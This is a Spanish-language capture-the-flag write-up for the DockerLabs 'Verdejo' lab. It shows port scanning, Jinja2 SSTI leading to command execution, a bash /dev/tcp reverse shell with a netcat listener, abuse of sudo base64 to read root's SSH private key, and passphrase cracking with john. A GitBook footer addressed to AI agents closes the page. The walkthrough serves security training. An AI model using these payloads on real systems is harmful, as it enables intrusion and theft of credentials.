> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/dockerlabs/facil/verdejo.md).

# Verdejo

## Enumeración

Se realiza un escaneo completo de puertos:

```bash
nmap -sV -p- -T4 172.17.0.2
```

![](/files/V4wHG449aCCV1M3NrioP)

### Resultados

* **22/tcp** → OpenSSH
* **80/tcp** → Apache HTTP
* **8089/tcp** → Werkzeug (Python)

El puerto **8089** resulta especialmente interesante por tratarse de un entorno de desarrollo.

***

## Análisis de la aplicación web

Accedemos al servicio en el puerto 8089:

![](/files/lrd1c2KW0GutO7Bmwrsw)

Se identifica un parámetro `user` vulnerable a inyección:

![](/files/0dBXPON0FeG56LJuMAP1)

Probamos una operación matemática básica:

```jinja2
{{7*7}}
```

### Conclusión

La aplicación evalúa expresiones → Vulnerabilidad **SSTI confirmada**.

***

## Ejecución remota de comandos (RCE)

Se aprovecha la SSTI para acceder a funciones internas de Python:

![](/files/1WkOMj6cL1mpT7zKPJek)

```jinja2
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
```

![](/files/PKeRomRikTKi2mBsbHSQ)

Se confirma ejecución de comandos como el usuario `verde`.

***

## Obtención de Reverse Shell

Se genera una shell reversa utilizando bash:

```jinja2
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('bash -c "bash -i >& /dev/tcp/172.17.0.1/4444 0>&1"').read() }}
```

![](/files/ng085pqJ8ncjDd7F1dW4)

En la máquina atacante:

```bash
nc -lvnp 4444
```

![](/files/22YpM9eLfUJdp93aWqYl)

Recepción de la conexión:

![](/files/EU18WWKCOOwl6BopsdpG)

***

## Escalada de privilegios

Se enumeran permisos sudo:

```bash
sudo -l
```

![](/files/tVNVoQAF5IW6dlT5uvSC)

### Hallazgo

El usuario puede ejecutar:

```
(root) NOPASSWD: /usr/bin/base64
```

***

## Exfiltración de credenciales

Se utiliza `base64` para leer la clave privada de root:

```bash
sudo /usr/bin/base64 /root/.ssh/id_rsa | base64 --decode
```

![](/files/AAA5fEYe0eec8ulIjgWO)

Se guarda la clave en local.

***

## Crackeo de passphrase

Se convierte la clave a formato crackeable:

```bash
ssh2john id_rsa > hash
```

Se ejecuta fuerza bruta con diccionario:

```bash
john hash --wordlist=/usr/share/wordlists/rockyou.txt
```

![](/files/fnq052MJs1GzA4r1S21c)

### Resultado

```
honda1
```

***

## Acceso como root

Se accede por SSH:

```bash
ssh root@172.17.0.2 -i id_rsa
```

![](/files/k30x4H0qYnl42NjphhWP)

Verificación:

```bash
id
```

```
uid=0(root) gid=0(root)
```

***

## Conclusión

### Cadena de ataque

1. Enumeración de servicios
2. Identificación de SSTI
3. Ejecución remota de comandos (RCE)
4. Reverse shell
5. Abuso de sudo (`base64`)
6. Exfiltración de clave SSH
7. Crackeo de passphrase
8. Acceso root

### Vulnerabilidades clave

* SSTI en aplicación web
* Mala configuración de sudo
* Uso inseguro de claves SSH

***

## Notas finales

Este laboratorio demuestra cómo una vulnerabilidad web aparentemente simple puede derivar en compromiso total del sistema si no existen controles adecuados.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://itskode.gitbook.io/pentesting/dockerlabs/facil/verdejo.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
